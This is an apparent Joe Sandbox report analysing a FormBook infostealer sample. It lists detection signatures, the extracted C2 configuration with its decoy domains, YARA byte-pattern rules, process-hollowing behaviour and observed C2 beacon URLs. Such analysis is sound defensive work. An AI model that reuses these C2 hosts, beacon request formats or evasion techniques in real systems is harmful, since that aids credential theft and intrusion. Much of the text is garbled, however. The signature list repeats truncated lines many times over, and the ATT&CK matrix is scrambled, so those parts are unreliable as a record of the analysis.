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Cookbook: default.jbs
Time: 08:58:34
Date: 23/02/2021
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Analysis Report vBugmobiJh.exe

Overview

General Information

Sample 
Name:

vBugmobiJh.exe

Analysis ID: 356496

MD5: 5b59e521935e56…

SHA1: b6714751ef5127d…

SHA256: e6370f5f39e8e3d…

Tags: exe Formbook

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3Yara detected AntiVM_3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows n

Uses netsh to modify the Windows nUses netsh to modify the Windows n……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

vBugmobiJh.exe (PID: 5108 cmdline: 'C:\Users\user\Desktop\vBugmobiJh.exe'  MD5: 5B59E521935E56A03255623DF51C1631)

vBugmobiJh.exe (PID: 68 cmdline: C:\Users\user\Desktop\vBugmobiJh.exe MD5: 5B59E521935E56A03255623DF51C1631)

vBugmobiJh.exe (PID: 6088 cmdline: C:\Users\user\Desktop\vBugmobiJh.exe MD5: 5B59E521935E56A03255623DF51C1631)

explorer.exe (PID: 3388 cmdline:  MD5: AD5296B280E8F522A8A897C96BAB0E1D)

netsh.exe (PID: 3664 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cmd.exe (PID: 5428 cmdline: /c del 'C:\Users\user\Desktop\vBugmobiJh.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Startup

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.rizrvd.com/bw82/"

  ],

  "decoy": [

    "fundamentaliemef.com",

    "gallerybrows.com",

    "leadeligey.com",

    "octoberx2.online",

    "climaxnovels.com",

    "gdsjgf.com",

    "curateherstories.com",

    "blacksailus.com",

    "yjpps.com",

    "gmobilet.com",

    "fcoins.club",

    "foreverlive2027.com",

    "healthyfifties.com",

    "wmarquezy.com",

    "housebulb.com",

    "thebabyfriendly.com",

    "primajayaintiperkasa.com",

    "learnplaychess.com",

    "chrisbubser.digital",

    "xn--avenr-wsa.com",

    "exlineinsurance.com",

    "thrivezi.com",

    "tuvandadayvitos24h.online",

    "illfingers.com",

    "usmedicarenow.com",

    "pandabutik.com",

    "engageautism.info",

    "magnabeautystyle.com",

    "texasdryroof.com",

    "woodlandpizzahartford.com",

    "dameadamea.com",

    "sedaskincare.com",

    "ruaysatu99.com",

    "mybestaide.com",

    "nikolaichan.com",

    "mrcabinetkitchenandbath.com",

    "ondemandbarbering.com",

    "activagebenefits.net",

    "srcsvcs.com",

    "cbrealvitalize.com",

    "ismaelworks.com",

    "medkomp.online",

    "ninasangtani.com",

    "h2oturkiye.com",

    "kolamart.com",

    "acdfr.com",

    "twistedtailgatesweeps1.com",

    "ramjamdee.com",

    "thedancehalo.com",

    "joeisono.com",

    "glasshouseroadtrip.com",

    "okcpp.com",

    "riggsfarmfenceservices.com",

    "mgg360.com",

    "xn--oi2b190cymc.com",

    "ctfocbdwholesale.com",

    "openspiers.com",

    "rumblingrambles.com",

    "thepoetrictedstudio.com",

    "magiclabs.media",

    "wellnesssensation.com",

    "lakegastonautoparts.com",

    "dealsonwheeeles.com",

    "semenboostplus.com"

  ]

}

Source Rule Description Author Strings

00000006.00000002.267925714.0000000000980000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright null 2021 Page 5 of 47



00000006.00000002.267925714.0000000000980000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000006.00000002.267925714.0000000000980000.00000
040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166a9:$sqlite3step: 68 34 1C 7B E1
0x167bc:$sqlite3step: 68 34 1C 7B E1
0x166d8:$sqlite3text: 68 38 2A 90 C5
0x167fd:$sqlite3text: 68 38 2A 90 C5
0x166eb:$sqlite3blob: 68 53 D8 7F 8C
0x16813:$sqlite3blob: 68 53 D8 7F 8C

00000006.00000002.267841764.00000000005D
0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000006.00000002.267841764.00000000005D
0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 18 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

6.2.vBugmobiJh.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.vBugmobiJh.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

6.2.vBugmobiJh.exe.400000.0.raw.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x166a9:$sqlite3step: 68 34 1C 7B E1
0x167bc:$sqlite3step: 68 34 1C 7B E1
0x166d8:$sqlite3text: 68 38 2A 90 C5
0x167fd:$sqlite3text: 68 38 2A 90 C5
0x166eb:$sqlite3blob: 68 53 D8 7F 8C
0x16813:$sqlite3blob: 68 53 D8 7F 8C

6.2.vBugmobiJh.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.vBugmobiJh.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 8 entries

Unpacked PEs
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Sigma Overview

No Sigma rule has matched

Signature Overview

• AV Detection

• Compliance

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Lowering of HIPS / PFW / Operating System Security Settings

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for sample

Compliance:

Uses 32bit PE files

Contains modern PE file flags such as dynamic base (ASLR) or NX

Binary contains paths to debug symbols

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

.NET source code contains very large strings

Data Obfuscation:

Copyright null 2021 Page 7 of 47



.NET source code contains potential unpacker

Malware Analysis System Evasion:

Yara detected AntiVM_3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Masquerading 1 OS
Credential
Dumping

Security Software
Discovery 2 2 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Virtualization/Sandbox
Evasion 3

LSASS
Memory

Virtualization/Sandbox
Evasion 3

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 6 1 2

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

System Information
Discovery 1 1 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 4 1

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Software
Packing 1 3

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points
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Behavior Graph

ID: 356496

Sample: vBugmobiJh.exe

Startdate: 23/02/2021

Architecture: WINDOWS

Score: 100

www.activagebenefits.net activagebenefits.net

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL

Found malware configuration 10 other signatures

vBugmobiJh.exe

3

        started       

C:\Users\user\AppData\...\vBugmobiJh.exe.log, ASCII

dropped

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

vBugmobiJh.exe

        started       

vBugmobiJh.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

rizrvd.com

34.102.136.180, 49731, 49737, 49738

GOOGLEUS

United States

www.thebabyfriendly.com

154.80.226.18, 49745, 80

DXTL-HKDXTLTseungKwanOServiceHK

Seychelles

17 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

netsh.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Copyright null 2021 Page 9 of 47



Source Detection Scanner Label Link

vBugmobiJh.exe 25% Virustotal Browse

vBugmobiJh.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

6.2.vBugmobiJh.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

climaxnovels.com 6% Virustotal Browse

ramjamdee.com 1% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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Source Detection Scanner Label Link

www.founder.com.cn/cnO 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/Y0ntPi 0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.fontbureau.comsiefd$P 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/uild$P 0% Avira URL Cloud safe

www.rizrvd.com/bw82/?
2dspCJ=AJ+QNFfpTCGoeNdN3oQHABBFVni950JEMBWacmvnp29IOaric6KDWsJikAvcMmAxBpMV&L
6Ah=2dPLKjuxNzghip

0% Avira URL Cloud safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.fontbureau.comsP 0% Avira URL Cloud safe

www.wellnesssensation.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=455EGVYP5nwn6UKaNruX/4AMFbR5eugGoFi+RSiFi9xq+Sc4S/7LJuL
4z/DBianrCvuj

0% Avira URL Cloud safe

www.fontbureau.comepko 0% URL Reputation safe

www.fontbureau.comepko 0% URL Reputation safe

www.fontbureau.comepko 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.fontbureau.comM.TTFzP 0% Avira URL Cloud safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.gallerybrows.com/bw82/?
2dspCJ=qtQC6ueLh9SPHvPoeB2W7XMv4DHg8NEty8uJPphl3NdNxxbo+oCUuV5k45UTpNkEWHc7&L6
Ah=2dPLKjuxNzghip

0% Avira URL Cloud safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.fontbureau.comB.TTF 0% URL Reputation safe

www.fontbureau.comB.TTF 0% URL Reputation safe

www.fontbureau.comB.TTF 0% URL Reputation safe

www.jiyu-kobo.co.jp// 0% URL Reputation safe

www.jiyu-kobo.co.jp// 0% URL Reputation safe

www.jiyu-kobo.co.jp// 0% URL Reputation safe

www.founder.com.cn/cnt 0% URL Reputation safe

www.founder.com.cn/cnt 0% URL Reputation safe

www.founder.com.cn/cnt 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.usmedicarenow.com/bw82/?
2dspCJ=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibjyZxTY12AhF&L6Ah=
2dPLKjuxNzghip

0% Avira URL Cloud safe

www.ascendercorp.com/typedesigners.html 0% URL Reputation safe

www.ascendercorp.com/typedesigners.html 0% URL Reputation safe

www.ascendercorp.com/typedesigners.html 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe
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www.jiyu-kobo.co.jp/jp/2P 0% Avira URL Cloud safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.de 0% URL Reputation safe

www.urwpp.de 0% URL Reputation safe

www.urwpp.de 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.jiyu-kobo.co.jp/tendHP 0% Avira URL Cloud safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.founder.com.cn/cnh 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ltt=P 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp//P 0% Avira URL Cloud safe

www.founder.com.cn/cnd 0% URL Reputation safe

www.founder.com.cn/cnd 0% URL Reputation safe

www.founder.com.cn/cnd 0% URL Reputation safe

www.jiyu-kobo.co.jp/oiolP 0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.climaxnovels.com/bw82/?
2dspCJ=ErYhPq0/zQvehGK9wS6+i9BP1HsxrMLlWLaBPkVFk6gJ3Rf5IPX3ZCPP9+b6hANSOkIk&L6Ah
=2dPLKjuxNzghip

0% Avira URL Cloud safe

www.rizrvd.com/bw82/ 0% Avira URL Cloud safe

www.agfamonotype. 0% URL Reputation safe

www.agfamonotype. 0% URL Reputation safe

www.agfamonotype. 0% URL Reputation safe

www.galapagosdesign.com/%k 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/vno 0% Avira URL Cloud safe

www.thebabyfriendly.com/bw82/?
L6Ah=2dPLKjuxNzghip&2dspCJ=r3fdhBxfm/17hO+WGttpxejAYTJXJLNaeaIMUW/kEa9Q3oKyIBTjSr0cb
Qanu0dSY6cl

0% Avira URL Cloud safe

www.fontbureau.comcomm 0% Avira URL Cloud safe

www.h2oturkiye.com/bw82/?
2dspCJ=CMr/hCS473yTOMLQRlwKDrCPfcrQCABATOinOmsXstIRfABY7iJyJix7IPLOuntXuF5p&L6Ah=2
dPLKjuxNzghip

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.fonts.comKr 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/2P 0% Avira URL Cloud safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

climaxnovels.com 34.102.136.180 true true 6%, Virustotal, Browse unknown

ramjamdee.com 34.102.136.180 true true 1%, Virustotal, Browse unknown

